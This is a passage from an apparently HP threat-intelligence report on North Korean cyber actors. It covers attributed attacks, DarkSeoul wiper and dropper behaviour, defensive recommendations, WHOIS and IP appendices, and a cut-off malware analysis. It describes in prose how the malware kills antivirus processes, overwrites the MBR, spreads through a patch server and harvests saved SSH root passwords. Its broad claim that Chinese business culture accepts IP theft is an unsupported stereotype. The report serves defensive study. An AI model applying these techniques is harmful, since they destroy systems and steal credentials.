RaonSecure operates a whitehat training program.363 The group also runs the Korea WhiteHat Contest, which is hosted by South Korea s Ministry of National Defense and National Intelligence Service and https://ctftime.org/team/3206 https://ctftime.org/team/3206 http://ls-al.org/asrt-has-become-the-winner-of-codegate-2013/ http://blog.raonsecure.com/62 http://ls-al.org/asrt-researcher-meets-the-president-park-in-korea/ http://ls-al.org/asrt-runs-secuinside-ctf/ http://www.whitehat.co.kr/ supervised by South Korean Cyber Command.364 For these reasons, it seems unlikely that the RAON_ASRT WhoIs Team would maliciously target South Korean entities. IsOne IsOne is the group that claimed responsibility for the June 2012 attack on the website of South Korean newspaper JoongAng Ilbo. The attack included an attempt to wipe JoongAng Ilbo s servers as well as a defacement depicting a laughing cat. Despite efforts to wipe the target s servers, the target only suffered defacement and temporary downtime.365 Figure 28 Defacement by IsOne . 366 Although the groups have a similar name and both use a cat theme, it is unclear whether a CTF team known as The Cat is Number 1 and IsOne are the same actors. The Cat is Number 1 members claim to hail from North Korea, but there is no hard evidence linking team members to http://ls-al.org/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD-%ED%99%94%EC%9D%B4%ED%8A%B8%ED%96%87- %EC%BD%98%ED%85%8C%EC%8A%A4%ED%8A%B8korea-whitehat-contest-%EA%B0%9C%EC%B5%9C/ http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 http://bad-bytes.blogspot.co.uk/2012/06/joongang-ilbo-cyber-attack.html the region.367 Again, it seems that the actors responsible for the attack borrowed the moniker of another group. Figure 29 A screenshot of The Cat is Number One profile on CTF Time 368 According to South Korea s National Police Agency, the attack on JoongAng Ilbo shares characteristics with previous attacks attributed to North Korean actors. An investigation conducted by the agency s Cyber Terror Response Center found that the actors targeting JoongAng Ilbo used two North Korean servers and 17 servers in 10 other countries. One server maintained a constant connection to an IP address belonging to Joson Telecommunication Company, which is affiliated with North Korea s Ministry of Posts and Telecommunications. Investigators found that one of the servers used in the attack on JoongAng Ilbo was also used in the March 2011 DDoS attacks on South Korean critical infrastructure sites and the April 2011 attack on Nyongyup Bank.369 Known tactics, techniques and procedures Wiper malware Defacements Targets Took credit for defacing JoongAng Ilbo. https://ctftime.org/team/2538 https://ctftime.org/team/2538 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 Kimsukyang The Kimsuky malware, which targeted South Korean think tanks, is loosely attributed to an actor referred to as Kimsukyang. Little is known about the actor or group responsible for the malware. However, the following email addresses are associated with the Kimsuky operation:370 beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg iop110112@hotmail.com rsh1213@hotmail.com The email address iop110112@hotmail.com was registered using the alias kimsukyang , and rsh1213@hotmail.com was registered using the alias Kim asdfa Kaspersky found that the Kimsuky operation used 10 IP addresses in two Chinese provinces that border North Korea: Jilin and Liaoning.371 Known tactics, techniques and procedures Malware with keylogger and data exfiltration capabilities Malware disables AhnLab security software372 Targets Sejong Institute Korea Institute for Defense Analyses (KIDA) Ministry of Unification Hyundai Merchant Marine The Supporters of Korean Unification373 New Romantic Cyber Army Team / Hastati The New Romantic Cyber Army Team also took credit for the March 20, 2013 attacks. McAfee suspected New Romantic Cyber Army Team were responsible for Operation Troy and the resulting March 20, 2013 attacks due to the group frequent use of Roman and classical terms in their http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT code. 374 It is unknown whether Hastati is an alternate name for the group or whether Hastati is an individual actor within the group. It is interesting to note that the malware associated with these actors uses the strings HASTATI and PRINCIPES to overwrite the MBR. The name Hastati likely refers to a class of infantrymen of the early Roman Republic. The Hastati were less experienced soldiers who fought on the frontlines with spears and swords. Principes likely refers to more experienced Roman soldiers who fought on the second line of battle. 375 Figure 30 Defacement by Hastati.376 Known tactics, techniques and procedures Wiper malware Targets KBS TV377 Entities targeted in Operation Troy378 Malware summary HP researchers had previously analyzed samples of the DarkSeoul dropper, and findings were published in our annual HP Cyber Risk Report 2013. Analysis of this malware is included in Appendix C. Analysis of additional malware used in these campaigns produced no new findings and only corroborated what was found by external security researchers. These publicly available analyses have been cited throughout the report. Some of the malware samples were no longer publicly available. However, CrowdStrike obtained these missing samples before they disappeared from the wild and conducted thorough analysis, which was released in their subscription-only reports. While we cannot divulge detailed information from those reports, an overview of the findings is provided below. http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? http://www.roman-empire.net/army/army.html#earlylegion http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf The majority of the malware used in cyber incidents attributed to North Korea were variations of three types of malware: dropper, wiper, and IRC remote access trojan (RAT). CrowdStrike attribution of this malware to North Korean actors stemmed from two primary factors: Korean language characters found in the binaries and the propensity to specifically target South Korean entities.379 Dropper samples consistently targeted AhnLab Policy Center as a propagation method. This information is corroborated in a Black Hat Asia 2014 presentation by Fortinet researcher Kyle Yang.380 CrowdStrike s report also briefly noted the use of an update server vector.381 Yang analyzed the malware's update config metadata and matched its format to the AhnLab Policy Center. To test its payload, Yang set up a server/client and executed the update through the server. As Yang had predicted, it wiped the client.382 While the method for initial compromise of the update server is not noted in detail, CrowdStrike s report cites collateral information that suggests targeted email attacks were used to gain initial entry, and policy servers were then compromised. The upload server vector included a time-based logic bomb that allowed the wiper to target a large number of systems, on a set time and date, with full permissions on all of the targeted systems.383 According to CrowdStrike, the wiper malware was dropped on the systems as AgentBase.exe. The wiper used the Windows utility 'taskkill' to kill the processes pasvc.exe and clisvc.exe, which are the main processes for the Ahnlab and Hauri antivirus applications.384 385 The wiper then performed system reconnaissance, gathering drive information and operating system version. Depending on the OS used, the wiper recursively deleted files on the file system, deleting the Windows folder last. It then overwrote the MBR with the strings "HASTATI", "PRINCPES", "PRINCIPES", or "PR!NCPES .386 While there are several variants of the wiper, all seem to have been used on the same date. It is unclear why multiple wiper variants with slightly differing behavior were used for the same campaign. One possible explanation is that multiple variants were used to minimize the operational damage to the mission in the case of an early detection of one of the variants. For example, if one wiper variant was compromised or detected by antivirus or IDS signatures, the other variants may have differed enough to remain undetected, still resulting in mission success. According to CrowdStrike, a third malware component downloaded an IRC RAT from various compromised websites. This RAT is detected by Symantec as Backdoor.Prioxer. Prioxer has been linked to other 2011 attacks on South Korea. It is unclear whether these downloaders were CrowdStrike Intelligence Report CSIR-13013 Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. CrowdStrike Intelligence Report CSIR-13013 Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. CrowdStrike Intelligence Report CSIR-13013 CrowdStrike Intelligence Report CSIR-13030 Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. CrowdStrike Intelligence Report CSIR-13030 pushed out in the same update server vector as the wipers. However, the two malware types both use the same packer 'Jokra' and both contain the strings HASTATI" and "PRINCPES .387 Analysis Based on the information above, we have identified strategic challenges that impact the development of North Korea s cyber warfare capabilities. We have also noted relevant implications: The North Korean regime strictly controls all Internet infrastructure,388 meaning cyber activity by dissidents or autonomous hacker groups are very unlikely. In other words, any cyber attacks originating in North Korea can be assumed to be state sponsored. For this reason, according to defectors, the regime s cyber operators do not typically launch attacks directly from within North Korea. Instead, many regime-sponsored attacks are launched from cells based in China, U.S., South Asia, Europe, and even South Korea.389 North Korea has a limited number of outgoing connections.390 For this reason, there is a low probability of DDoS originating from within. However, this does not preclude the use of botnets with a local C2 server or the use of networks in third-party nations to launch attacks. As seen in the July 2009 attacks on South Korean and U.S. targets, North Korea has leveraged networks in countries such as Austria, Georgia, Germany, and even South Korea and the U.S., in order to launch cyber attacks.391 North Korea will likely be forced to rely on third parties for quite some time, due to its lack of sufficient infrastructure for launching large-scale CNO. Several outward facing websites are hosted in China and other countries. This implies two possibilities: that North Korea s infrastructure cannot handle a heavy incoming traffic load 392 or that the regime wants to separate the propaganda crafted for an outside target audience from internally-focused propaganda. This arrangement seems unlikely to change in the foreseeable future. North Korea is known to have unstable power supplies393, which limits scalability of the regime s current CNO capabilities. This is another reason why expansion of CNO capabilities using the nation s own infrastructure seems unlikely in the foreseeable future. North Korea is known to have monetary deficiencies,394 which further limit expansion of infrastructure and CNO capabilities, at least without third-party aid. North Korea continues to rely heavily on China for sustainment.395 Although we see few instances of overt cyber operations, that North Korea reportedly spends so much of its limited resources on training and equipping cyber operators speaks volumes. The human element of the regime s cyber war program, at least, has potential. CrowdStrike Intelligence Report CSIR-13013 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf Sanctions against North Korea and export laws prohibit the sale of certain technologies to the regime.396 In other words, in order to obtain the technology needed for a cyber warfare program, the regime must improvise. North Korea must develop its own technology, manufacture technology using plans obtained via industrial espionage, or rely on third parties to procure it for them. However, the regime has historically failed in its attempts of large-scale production of electronic components. At present, North Korea relies on China to provide much of its network hardware, including servers and routers.397 It is unlikely that North Korea will compromise on its nuclear program, meaning sanctions will likely be longstanding, and the regime will have to continue to rely on third parties to procure technology. Cyber incidents attributed to North Korean actors seem to follow distinct patterns: According to reports by other researchers, the conventions and C2 structure used by North Korean cyber actors show continuity and consistency over time. The majority of the incidents attributed to North Korean actors consistently used wiper malware. Several of the incidents included defacements, with a different group taking credit each time. Additionally, little information or attack history was found about any of the groups, aside from information acknowledged in this report. These factors seem to indicate that a single group may have been responsible for several attacks over time, using different group names as a false flag. On more than one occasion, the malware included provisions to disable security software made by South Korean security company AhnLab. This detail strengthens the case that the malware was written or modified to specifically target South Korean machines. The attacks followed an explicit pattern: most were around the time of U.S. South Korean joint military exercises, while the others fell on a significant date or were in response to political events. The primary targets were South Korean and U.S. entities. While these nations are traditionally targeted by the regime, it is also possible that South Korean entities are quick to attribute any attack on their infrastructure to North Korean actors. In fact, in some cases, South Korean reports were the only source of attribution. Summary Does North Korea have sufficient cyber infrastructure and cyber warfare capabilities to harm the U.S. and its allies? While North Korea s cyber warfare capabilities pale in comparison to those of wealthier nations, the regime has made significant progress in developing its infrastructure and in establishing cyber operations. The rate of this progress warrants a closer look at North Korea motivations, TTPs, and capabilities. As noted above, North Korea views the U.S. and South Korea as its primary adversaries. The U.S. and South Korea are high-tech nations with economies that http://www.foxnews.com/world/2012/04/03/exclusive-cash-for-computers-is-un-busting-its-own-sanctions-in-north-korea/ http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 depend heavily on technology.398 In contrast, North Korea does not have a high tech culture. For these reasons, we should not overestimate the regime s advanced cyber capability, yet we should never underestimate the potential impact of North Korea utilizing less advanced, quick-and-dirty tactics like DDoS to cripple their high-tech targets. Both government and corporate entities are susceptible to being targeted by North Korean cyber attacks. North Korean juche ideology places the survival of the regime as its primary goal, and any perceived threat to the regime may be targeted. Several attacks on U.S. and South Korean government, financial, and critical infrastructure entities have been attributed to North Korean origins.. These attacks were often preceded by or occurred in conjunction with North Korea voicing negative sentiments about the targeted entities. As we saw with Iranian cyber actors in HPSR Security Briefing Episode 11,399 state sponsored cyber actors often launch an attack in response to a political trigger. The same pattern seems to apply to pro-North Korean cyber actors, who have launched attacks to coincide with U.S. Independence Day and the anniversary of the start of the Korean War, as well as propaganda and cyber attacks in response to joint military exercises between the U.S. and South Korea.400 401 As shown by North Korea's past behavior (which is consistent with their doctrine), they are easily "pushed into a corner". At the slightest perceived threat, the regime responds with saber-rattling and peacocking. The regime is extremely defensive and will, in turn, flex its muscles to show the world how capable it is, even if this is an inaccurate display of their overall capabilities. The regime fears losing its control and the nation s culture to the ever-growing threat of outside influence, as is evidenced in the regime s reaction to the comedy film The Interview . The regime has represented itself to its citizens as a powerful and capable entity and has used this status to control the populace. For this reason, the regime s leaders are forced to continually demonstrate this strength and power, or an illusion thereof, both domestically and globally, in order to maintain the status needed to ensure continued suppression of the population. This show of power may require that the regime takes chances and stretches beyond its abilities at times, but in the spirit of juche and songun, the regime will continue this fa ade, fearful of losing the image its leaders have worked so hard to maintain. HP Security Research recommendations North Korean cyber operations are not generally observed originating from home field IP address space, so geo-IP based blocking of traffic originating from those net-blocks is ineffective. http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U5HkbpRdV90 http://www.zdnet.com/south-korea-braces-for-norths-cyberattacks-7000012587/ http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war Given that North Korea has capable and technically trained forces and will demonstrate their power when they feel provoked, western entities should consciously avoid promoting ideas or doctrine that is blatantly slanderous to the regime. Encouraging such ideas could cause those entities to become a focal point for North Korean cyber attacks. Due to the fact that North Korean infrastructure is aging and its resources are not able to keep up with the rest of the world, entities with interesting R&D or IP (intellectual property) - especially military in nature could become targets of interest for North Korea. Interest in defense-related IP and R&D could also stem from North Korea s relationship with China. In the Chinese business culture, taking another entity s IP or R&D is not stealing it is accepted as business as usual. It is possible that North Korea, if under Chinese influence, would adopt the same attitude, given the regime s limited capacity for homegrown innovation. Known DPRK targets have been limited primarily to South Korean and U.S. organizations and government entities. For these targets, prudent measures should include: Following traditional defense in depth approaches and security best practices Monitoring for malware that disables Korean language antivirus software, such as that from AhnLab To protect against the attack vectors used in North Korean malware campaigns, an advisable prevention tactic is to focus on hardening update/patch management systems. These systems are appealing targets due to the potential for a large impact Appendix A WHOIS records WHOIS record for silibank.net: Domain Name: silibank.net Registry Domain ID: Registrar WHOIS Server: whois.discount-domain.com Registrar URL: http://www.onamae.com Updated Date: 2014-03-11 17:27:55.0 Creation Date: 2006-03-13 13:14:53.0 Registrar Registration Expiration Date: 2015-03-13 03:14:53.0 Registrar: GMO INTERNET, INC. Registrar IANA ID: 49 Registrar Abuse Contact Email: abuse@gmo.jp Registrar Abuse Contact Phone: Domain Status: ACTIVE Registry Registrant ID: Registrant Name: Whois Privacy Protection Service by MuuMuuDomain Registrant Organization: Whois Privacy Protection Service by MuuMuuDomain Registrant Street1: 2-7-21 Tenjin Chuo-ku Registrant Street2: Tenjin Prime 8F Registrant City: Fukuoka-shi Registrant State/Province: Fukuoka Registrant Postal Code: 810-0001 Registrant Country: JP Registrant Phone: 81-927137999 Registrant Phone Ext: Registrant Fax: 81-927137944 Registrant Fax Ext: Registrant Email: privacy@whoisprivacyprotection.info Registry Admin ID: Admin Name: Whois Privacy Protection Service by MuuMuuDomain Admin Organization: Whois Privacy Protection Service by MuuMuuDomain Admin Street1: 2-7-21 Tenjin Chuo-ku Admin Street2: Tenjin Prime 8F Admin City: Fukuoka-shi Admin State/Province: Fukuoka Admin Postal Code: 810-0001 Admin Country: JP Admin Phone: 81-927137999 Admin Phone Ext: Admin Fax: 81-927137944 Admin Fax Ext: Admin Email: privacy@whoisprivacyprotection.info Registry Tech ID: Tech Name: Whois Privacy Protection Service by MuuMuuDomain Tech Organization: Whois Privacy Protection Service by MuuMuuDomain Tech Street1: 2-7-21 Tenjin Chuo-ku Tech Street2: Tenjin Prime 8F Tech City: Fukuoka-shi Tech State/Province: Fukuoka Tech Postal Code: 810-0001 Tech Country: JP Tech Phone: 81-927137999 Tech Phone Ext: Tech Fax: 81-927137944 Tech Fax Ext: Tech Email: privacy@whoisprivacyprotection.info Name Server: ns1.dns.ne.jp Name Server: ns2.dns.ne.jp WHOIS Record for kcna.kp: inetnum: 175.45.176.0 - 175.45.179.255 netname: STAR-KP descr: Ryugyong-dong descr: Potong-gang District country: KP admin-c: SJVC1-AP tech-c: SJVC1-AP status: ALLOCATED PORTABLE mnt-by: APNIC-HM mnt-lower: MAINT-STAR-KP mnt-routes: MAINT-STAR-KP remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: hostmasters and include your organisation's account remarks: name in the subject line. remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ mnt-irt: IRT-STAR-KP changed: hm-changed@apnic.net 20091221 source: APNIC irt: IRT-STAR-KP address: Ryugyong-dong Potong-gang District e-mail: sahayod@loxley.co.th abuse-mailbox: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP auth: # Filtered mnt-by: MAINT-STAR-KP changed: sahayod@loxley.co.th 20120202 source: APNIC role: STAR JOINT VENTURE CO LTD - network administrat address: Ryugyong-dong Potong-gang District country: KP phone: +66 81 208 7602 fax-no: +66 2 240 3180 e-mail: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP nic-hdl: SJVC1-AP mnt-by: MAINT-STAR-KP changed: hm-changed@apnic.net 20091214 source: APNIC WHOIS Record for rodong.rep.kp: inetnum: 175.45.176.0 - 175.45.179.255 netname: STAR-KP descr: Ryugyong-dong descr: Potong-gang District country: KP admin-c: SJVC1-AP tech-c: SJVC1-AP status: ALLOCATED PORTABLE mnt-by: APNIC-HM mnt-lower: MAINT-STAR-KP mnt-routes: MAINT-STAR-KP remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: hostmasters and include your organisation's account remarks: name in the subject line. remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ mnt-irt: IRT-STAR-KP changed: hm-changed@apnic.net 20091221 source: APNIC irt: IRT-STAR-KP address: Ryugyong-dong Potong-gang District e-mail: sahayod@loxley.co.th abuse-mailbox: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP auth: # Filtered mnt-by: MAINT-STAR-KP changed: sahayod@loxley.co.th 20120202 source: APNIC role: STAR JOINT VENTURE CO LTD - network administrat address: Ryugyong-dong Potong-gang District country: KP phone: +66 81 208 7602 fax-no: +66 2 240 3180 e-mail: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP nic-hdl: SJVC1-AP mnt-by: MAINT-STAR-KP changed: hm-changed@apnic.net 20091214 source: APNIC WHOIS Record for uriminzokkiri.com: Domain Name : uriminzokkiri.com PunnyCode : uriminzokkiri.com Creation Date : 2003-02-09 00:00:00 Updated Date : 2012-06-28 13:22:18 Expiration Date : 2015-02-09 00:00:00 Registrant: Organization : chaoxianLiuYiYuBianJishe ShenYang Ban SHICHU Name : Korea 615 Shenyang company Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Administrative Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979@hotmail.com Technical Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979@hotmail.com Billing Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979@hotmail.com WHOIS Record for ournation-school.com: Domain Name: ournation-school.com Registry Domain ID: Registrar WHOIS Server:whois.paycenter.com.cn Registrar URL:http://www.xinnet.com Updated Date:2012-06-28 13:22:20 Creation Date:2004-10-29 00:00:00 Registrar Registration Expiration Date:2014-10-29 00:00:00 Registrar:XINNET TECHNOLOGY CORPORATION Registrar IANA ID:120 Registrar Abuse Contact Email: supervision@xinnet.com Registrar Abuse Contact Phone:+86.1087128064 Domain Status: Registry Registrant ID: Registrant Name:Korea 615 Shenyang company Registrant Organization:chaoxian liuyiyubianjishe shenyangbanshichu Registrant Street:shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 Registrant City:shenyangshi Registrant State/Province:liaoningsheng Registrant Postal Code:123456 Registrant Country:China Registrant Phone:+86.024 22523102 Registrant Phone Ext: Registrant Fax:+86.024 22523102 Registrant Fax Ext: Registrant Email:urimanager@silibank.com Registry Admin ID: Admin Name:Korea 615 Shenyang company Admin Organization:Korea 615 Shenyang company Admin Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 Admin City:shenyangshi Admin State/Province:liaoningsheng Admin PostalCode:123456 Admin Country:China Admin Phone:+86.024 22523102 Admin Phone Ext: Admin Fax:+86.024 22523102 Admin Fax Ext: Admin Email:urimanager@silibank.com Registry Tech ID: Tech Name:Korea 615 Shenyang company Tech Organization:Korea 615 Shenyang company Tech Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 Tech City:shenyangshi Tech State/Province:liaoningsheng Tech PostalCode:123456 Tech Country:China Tech Phone:+86.024 22523102 Tech Phone Ext: Tech Fax:+86.024 22523102 Tech Fax Ext: Tech Email:urimanager@silibank.com Name Server:ns13.xincache.com Name Server:ns14.xincache.com DNSSEC:unsigned WHOIS Record for chongryon.com: Domain Name: chongryon.com Registry Domain ID: 69711868_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.melbourneit.com Registrar URL: http://www.melbourneit.com.au Updated Date: 2014-03-26T00:31:24Z Creation Date: 2001-04-20T06:45:46Z Registrar Registration Expiration Date: 2015-04-20T06:45:46Z Registrar: Melbourne IT Ltd Registrar IANA ID: 13 Registrar Abuse Contact Email: abuse@melbourneit.com.au Registrar Abuse Contact Phone: +61.386242300 Domain Status: ok Registry Registrant ID: Registrant Name: o guanin Registrant Organization: o guanin Registrant Street: "hujimi2-14-15," Registrant City: chiyodaku Registrant State/Province: tokyo Registrant Postal Code: 1028138 Registrant Country: JP Registrant Phone: +81.332627111 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: park2@mac.com Registry Admin ID: Admin Name: guanin o Admin Organization: Admin Street: "hujimi2-14-15," Admin City: chiyodaku Admin State/Province: tokyo Admin Postal Code: 1028138 Admin Country: JP Admin Phone: +81.332627111 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: park2@mac.com Registry Tech ID: Tech Name: Link Club Tech Organization: Link Club Tech Street: 5-39-6 Jingumae Shibuya-ku Tech City: TOKYO Tech State/Province: 150-0001 Tech Postal Code: JP Tech Country: JP Tech Phone: +81.462643403 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: mel-tech@hosting-link.ne.jp Name Server: USR-NS1.LINKCLUB.JP Name Server: USR-NS2.LINKCLUB.JP DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdrprs.internic.net >>> Last update of WHOIS database: 2014-05-13T18:15:18Z WHOIS Record for korea-np.co.jp: Domain Information: [B%I%a%$%s>pJs] a. [B%I%a%$%sL>] KOREA-NP.CO.JP e. [B$=$7$-$a$$] B$+$V$7$-$,$$$7$c B$A$g$&$;$s$7$s$]$&$7$c f. [BAH?%L>] B3t<02q80] [B>uBV] Connected (2015/02/28) [BEPO?G/7nF|] 1997/02/14 [B@\B3G/7nF|] 1997/06/03 [B:G=*99?7] 2014/03/01 01:16:34 (JST) Appendix B Sites found on North Korean IP space smtp.star-co.net.kp 175.45.176.10 airkoryo.com.kp 175.45.176.69 smtp.start-di.net.kp 175.45.176.10 spwebh2.star.net.kp 175.45.176.7 spinef1.star.net.kp 175.45.176.10 mail.silibank.net.kp 175.45.176.70 spinef2.star.net.kp 175.45.176.11 kcna.kp 175.45.176.71 ns1.co.kp 175.45.176.15 gnu.rep.kp 175.45.176.73 ns1.com.kp 175.45.176.15 vok.rep.kp 175.45.176.75 ns1.edu.kp 175.45.176.15 friend.com.kp 175.45.176.8 ns1.gov.kp 175.45.176.15 korelcfund.org.kp 175.45.176.8 ns1.kptc.kp 175.45.176.15 ns1.cooks.org.kp 175.45.176.8 ns1.kptc.kp 175.45.176.15 ns1.friend.com.kp 175.45.176.8 ns1.net.kp 175.45.176.15 ns1.gnu.rep.kp 175.45.176.8 ns1.org.kp 175.45.176.15 ns1.kcna.kp 175.45.176.8 ns1.org.kp 175.45.176.15 ns1.koredfund.org.kp 175.45.176.8 ns1.rep.kp 175.45.176.15 ns1.korelcfund.org.kp 175.45.176.8 ns2.co.kp 175.45.176.16 ns1.korfilm.com.kp 175.45.176.8 ns2.com.kp 175.45.176.16 ns1.ksf.com.kp 175.45.176.8 ns2.edu.kp 175.45.176.16 ns1.naenara.com.kp 175.45.176.8 ns2.gov.kp 175.45.176.16 ns1.rodong.rep.kp 175.45.176.8 ns2.kptc.kp 175.45.176.16 ns1.silibank.net.kp 175.45.176.8 ns2.kptc.kp 175.45.176.16 ns1.star-co.net.kp 175.45.176.8 ns2.net.kp 175.45.176.16 ns1.star-di.net.kp 175.45.176.8 ns2.org.kp 175.45.176.16 ns1.star.net.kp 175.45.176.8 ns2.rep.kp 175.45.176.16 ns1.vok.rep.kp 175.45.176.8 friend.com.kp 175.45.176.39 ns2.airkoryo.com.kp 175.45.176.8 friend.com.kp 175.45.176.67 friend.com.kp 175.45.176.9 gnu.rep.kp 175.45.176.67 gnu.rep.kp 175.45.176.9 koredfund.org.kp 175.45.176.67 koredfund.org.kp 175.45.176.9 korelcfund.org.kp 175.45.176.67 korelcfund.org.kp 175.45.176.9 ksf.com.kp 175.45.176.67 ns2.airkoryo.com.kp 175.45.176.9 naenara.com.kp 175.45.176.67 ns2.cooks.org.kp 175.45.176.9 vok.rep.kp 175.45.176.67 ns2.friend.com.kp 175.45.176.9 rodong.rep.kp 175.45.176.68 ns2.gnu.rep.kp 175.45.176.9 ns2.kcna.kp 175.45.176.9 friend.com.kp 175.45.177.77 ns2.koredfund.org.kp 175.45.176.9 koredfund.org.kp 175.45.177.77 ns2.korelcfund.org.kp 175.45.176.9 korelcfund.org.kp 175.45.177.77 ns2.korfilm.com.kp 175.45.176.9 naenara.com.kp 175.45.177.77 ns2.ksf.com.kp 175.45.176.9 vok.rep.kp 175.45.177.77 ns2.naenara.com.kp 175.45.176.9 mail.chosunexpo.com 175.45.178.101 ns2.rodong.rep.kp 175.45.176.9 ns3.kptc.kp 175.45.178.173 ns2.silibank.rep.kp 175.45.176.9 ns3.kptc.kp 175.45.178.173 ns2.star-co.net.kp 175.45.176.9 ns1.knic.com.kp 175.45.178.8 ns2.star-di.net.kp 175.45.176.9 ns1.knic.com.kp 175.45.178.8 ns2.star.net.kp 175.45.176.9 ns1.star.edu.kp 175.45.179.66 ns2.vok.rep.kp 175.45.176.9 ns1.star.edu.kp 175.45.179.66 vok.rep.kp 175.45.176.9 email.kp.col.cn 175.45.179.67 gnu.rep.kp 175.45.177.73 mail.star.edu.kp 175.45.179.69 vok.rep.kp 175.45.177.75 Appendix C Analysis of DarkSeoul Dropper Dropper MD5: 9263e40d9823aecf9388b64de34eae54 Also known as/detected as : Dropper-FDH (McAfee) Trojan:Win32/Dembr.A (Microsoft) Trojan.Jokra (Symantec) The dropper component that we examined was distributed as a UPX-packed binary. Installation When executed it creates the following files in the affected user s %Temp% directory: alg.exe: A legitimate binary used to open SSH connections with remote servers MD5 e45cd9052dd3dd502685dfd9aa2575ca Size: 166,912 bytes conime.exe: A legitimate binary used to open SSH connections with remote servers MD5: 6a702342e8d9911bde134129542a045b Size: 153,600 bytes ~pr1.tmp: Payload - A destructive bash script MD5: dc789dee20087c5e1552804492b042cd Size: 1,186 bytes Also known as/detected as: KillMBR-FBIA (McAfee) Trojan:SH/Kofornix.A (Microsoft) Trojan.Jokra (Symantec) AgentBase.exe: Payload - Win32 wiper component (see details below) MD5: db4bbdc36a78a8807ad9b15a562515c4 Size: 24,576 Payload attempts to connect to remote servers and upload a destructive bash script After determining the location of user profile directories on the affected computer, the malware searches these directories for configuration files and directories that may be associated with the connection manager clients mRemote and SecureCRT. mRemote an open source tool for centrally managing remote server connections using a GUI (Kevin Kline, 2008).69 This tool is no longer being actively developed or supported. SecureCRT a commercial SSH and Telnet client by VanDyke Software. If an mRemote installation is located, the dropper reads the configuration file and checks if there a NODE that is defined with Username=root Protocol=SSH , and a password that is not blank. If those conditions are satisfied it extracts the information. The password is decrypted after being extracted. If a SecureCRT installation is located, the dropper extracts information from sessions that have Username=root, Protocol=SSH and a saved password. If these conditions are satisfied, the username, hostname, port, and password are extracted. The password is then decrypted. After 